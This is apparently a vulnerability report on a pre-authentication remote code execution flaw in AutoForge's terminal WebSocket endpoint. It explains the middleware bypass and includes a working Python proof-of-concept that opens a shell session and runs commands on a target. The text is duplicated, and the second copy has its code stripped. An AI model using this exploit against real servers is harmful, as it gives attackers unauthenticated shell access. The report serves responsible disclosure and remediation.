Summary
AutoForge has a Pre-Auth Remote Code Execution vulnerability. The terminal WebSocket endpoint /api/terminal/ws/{project_name}/{terminal_id} bypasses the localhost-only HTTP middleware because Starlette's BaseHTTPMiddleware only intercepts scope["type"] == "http", automatically skipping WebSocket connections (scope["type"] == "websocket").
When ALLOW_REMOTE is enabled (via --host 0.0.0.0), the localhost middleware is not registered at all and CORS allows all origins (allow_origins=["*"]), resulting in a fully unauthenticated, network-accessible interactive shell.
Severity: CVSS 9.8 (Critical)
CWE-306: Missing Authentication for Critical Function
Vulnerability Details
Root Cause: BaseHTTPMiddleware Does Not Intercept WebSocket
In server/main.py (lines 145-155), the localhost restriction uses @app.middleware("http"):
ifnotALLOW_REMOTE:
@app.middleware("http")asyncdefrequire_localhost(request: Request, call_next):
client_host=request.client.hostifrequest.clientelseNoneifclient_hostnotin ("127.0.0.1", "::1", "localhost", None):
raiseHTTPException(status_code=403, detail="Localhost access only")
returnawaitcall_next(request)Starlette's BaseHTTPMiddleware.__call__() begins with:
ifscope["type"] !="http":
awaitself.app(scope, receive, send)
return
WebSocket connections have scope["type"] == "websocket", so they bypass this middleware entirely.
Unprotected Terminal Endpoint
In server/routers/terminal.py (line 206), the WebSocket endpoint has zero authentication:
@router.websocket("/ws/{project_name}/{terminal_id}")asyncdefterminal_websocket(websocket: WebSocket, project_name: str, terminal_id: str):
awaitwebsocket.accept() # No authentication checkPTY Shell Execution
In server/services/terminal_manager.py (lines 238-276):
child_pid, fd=pty.fork()
ifchild_pid==0:
os.execvp(shell, [shell]) # Spawns bash as server user
ALLOW_REMOTE Mode
When running with --host 0.0.0.0:
- The
require_localhost middleware is not registered at all - CORS allows all origins:
allow_origins=["*"]
Proof of Concept
importwebsocket, json, time, base64ws=websocket.WebSocket()
ws.connect('ws://TARGET:8888/api/terminal/ws/default/exploit-001')
# No auth required - connection accepted immediatelyws.send(json.dumps({"type": "resize", "cols": 80, "rows": 24}))
time.sleep(2)
try:
whileTrue:
ws.settimeout(1)
ws.recv()
except: passcmd=base64.b64encode(b"id && whoami\n").decode()
ws.send(json.dumps({"type": "input", "data": cmd}))
time.sleep(2)
try:
whileTrue:
ws.settimeout(1)
data=ws.recv()
msg=json.loads(data)
ifmsg.get("type") =="output":
print(base64.b64decode(msg["data"]).decode(), end="")
except: passws.close()
# Output: uid=0(root) gid=0(root) groups=0(root)CSRF Attack (Even Localhost Mode)
Even when bound to localhost, a malicious webpage can exploit the WebSocket because:
CORSMiddleware also skips WebSocket connections- The server does not validate the
Origin header on WebSocket handshake
Suggested Remediation
- Add WebSocket-level authentication (token in query string or first message)
- Use a raw ASGI middleware that handles both
http and websocket scope types - Validate the
Origin header on WebSocket handshake to prevent CSRF
Impact
An unauthenticated attacker can obtain a full interactive shell on the server via a single WebSocket connection. No user interaction or authentication token is required.
Note: I attempted to report this via GitHub's Private Vulnerability Reporting, but it is not enabled for this repository. Please consider enabling it for future reports.
Summary
AutoForge has a Pre-Auth Remote Code Execution vulnerability. The terminal WebSocket endpoint
/api/terminal/ws/{project_name}/{terminal_id}bypasses the localhost-only HTTP middleware because Starlette'sBaseHTTPMiddlewareonly interceptsscope["type"] == "http", automatically skipping WebSocket connections (scope["type"] == "websocket").When
ALLOW_REMOTEis enabled (via--host 0.0.0.0), the localhost middleware is not registered at all and CORS allows all origins (allow_origins=["*"]), resulting in a fully unauthenticated, network-accessible interactive shell.Severity: CVSS 9.8 (Critical)
CWE-306: Missing Authentication for Critical Function
Vulnerability Details
Root Cause: BaseHTTPMiddleware Does Not Intercept WebSocket
In
server/main.py(lines 145-155), the localhost restriction uses@app.middleware("http"):Starlette's
BaseHTTPMiddleware.__call__()begins with:WebSocket connections have
scope["type"] == "websocket", so they bypass this middleware entirely.Unprotected Terminal Endpoint
In
server/routers/terminal.py(line 206), the WebSocket endpoint has zero authentication:PTY Shell Execution
In
server/services/terminal_manager.py(lines 238-276):ALLOW_REMOTE Mode
When running with
--host 0.0.0.0:require_localhostmiddleware is not registered at allallow_origins=["*"]Proof of Concept
CSRF Attack (Even Localhost Mode)
Even when bound to localhost, a malicious webpage can exploit the WebSocket because:
CORSMiddlewarealso skips WebSocket connectionsOriginheader on WebSocket handshakeSuggested Remediation
httpandwebsocketscope typesOriginheader on WebSocket handshake to prevent CSRFImpact
An unauthenticated attacker can obtain a full interactive shell on the server via a single WebSocket connection. No user interaction or authentication token is required.
Note: I attempted to report this via GitHub's Private Vulnerability Reporting, but it is not enabled for this repository. Please consider enabling it for future reports.